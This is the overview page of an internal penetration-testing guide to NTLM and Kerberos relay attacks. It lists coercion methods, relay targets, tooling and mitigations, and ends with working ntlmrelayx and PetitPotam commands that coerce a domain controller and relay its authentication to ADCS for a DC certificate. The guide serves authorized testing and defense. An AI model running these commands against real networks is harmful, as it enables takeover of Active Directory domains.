Relay Bible — Internal Penetration Testing Relay Guide

A comprehensive reference for NTLM relay attacks during authorized internal penetration tests. Covers authentication fundamentals, coercion techniques, per-protocol relay targets, tooling, advanced chaining, and defensive mitigations.

Prerequisites

• A Linux attack host (Kali, Parrot, or similar)
• Python 3.10+ with Impacket installed
• Network access to the target environment (authorized engagement)
• Basic understanding of Active Directory and Windows networking

Table of Contents

1. Fundamentals

• NTLM Authentication & Relay Theory — How NTLM works, why relaying is possible, NTLMv1 vs v2, signing, EPA
• Kerberos Authentication & Relay Theory — AS/TGS/AP exchange, SPN canonicalization, why Kerberos is still relayable
• Identifying Relay Opportunities — Enumeration, finding hosts without signing, mapping attack surface

2. Coercion Techniques

• Coercion Overview — Forcing machines to authenticate to your listener
• PetitPotam (MS-EFSRPC)
• PrinterBug / SpoolSample (MS-RPRN)
• DFSCoerce (MS-DFSNM)
• ShadowCoerce (MS-FSRVP)

3. Relay Targets (by protocol)

• SMB Relay — Relay to SMB for code execution
• LDAP / LDAPS Relay — Delegate access, create machine accounts, RBCD
• MSSQL Relay — Relay to SQL Server for command execution
• HTTP / WebDAV Relay — Relay to web endpoints, WebDAV coercion
• ADCS Attacks (ESC1–ESC15) — All ADCS escalation techniques including relay
• SMTP / IMAP Relay — Relay to Exchange/mail services
• RPC / DCOM Relay — Relay to RPC endpoints
• SOCKS Proxy Relay — Maintain persistent relay sessions via SOCKS

4. Tool Setup & Usage

• Responder — Poisoning and capturing hashes
• ntlmrelayx.py — The primary relay framework
• mitm6 — IPv6 DNS takeover for coercion
• Certipy — ADCS enumeration and relay
• Coercer — Automated coercion tool
• krbrelayx — Kerberos relay and delegation abuse

5. Advanced Techniques

• Cross-Protocol Relay — Relay from one protocol to another
• IPv6 Attack Chains — mitm6 + relay combos
• Relay Chaining & Pivoting — Multi-hop relay scenarios
• WebDAV Coercion Trick — Forcing HTTP auth from machines
• Kerberos Relay via DNS CNAME Abuse — Cymulate / CVE-2026-20929, Kerberos TGS relay via CNAME poisoning

6. Defense & Detection

• Mitigations — SMB signing, LDAP signing, EPA, disabling NTLM
• Detection — Log sources, Sigma rules, behavioral indicators

Quick Reference: NTLM Relay — What Can Relay Where?

Applies to classic NTLM relay on modern (post-CVE-2019-1040) patched environments. For the more detailed cross-protocol breakdown, see Cross-Protocol Relay.

* Target must not require SMB signing † SMB-sourced NTLM includes signing flags in NEGOTIATE, which LDAP and ADCS HTTP enforce — causing the relayed session to require a signing key the attacker does not have. This is why WebDAV/HTTP-sourced auth is preferred for LDAP and ADCS relay.

Quick Reference: Kerberos Relay via DNS CNAME Abuse

The Cymulate / CVE-2026-20929 primitive (Jan 2026) — attacker poisons DNS with a CNAME, Windows canonicalizes the SPN, client requests a TGS for the attacker's chosen target, AP-REQ is relayed. Because many services accept tickets based only on the DNS portion of the SPN, the source SPN class matters far less than in NTLM relay — what gates the attack is whether the target service enforces its own anti-relay control.

All rows assume attacker has network position to poison DNS (DHCPv6 via mitm6, ARP, rogue DHCPv4). Full technique: Kerberos Relay via DNS CNAME Abuse.

Quick Start

1. Enumerate — Find hosts with signing disabled and identify coercion targets
2. Position — Start your relay listener (ntlmrelayx) pointing at your target
3. Coerce — Trigger authentication from a source machine to your listener
4. Profit — Relay captures and forwards the auth to your target protocol

# Classic example: coerce DC, relay to ADCS for a DC certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP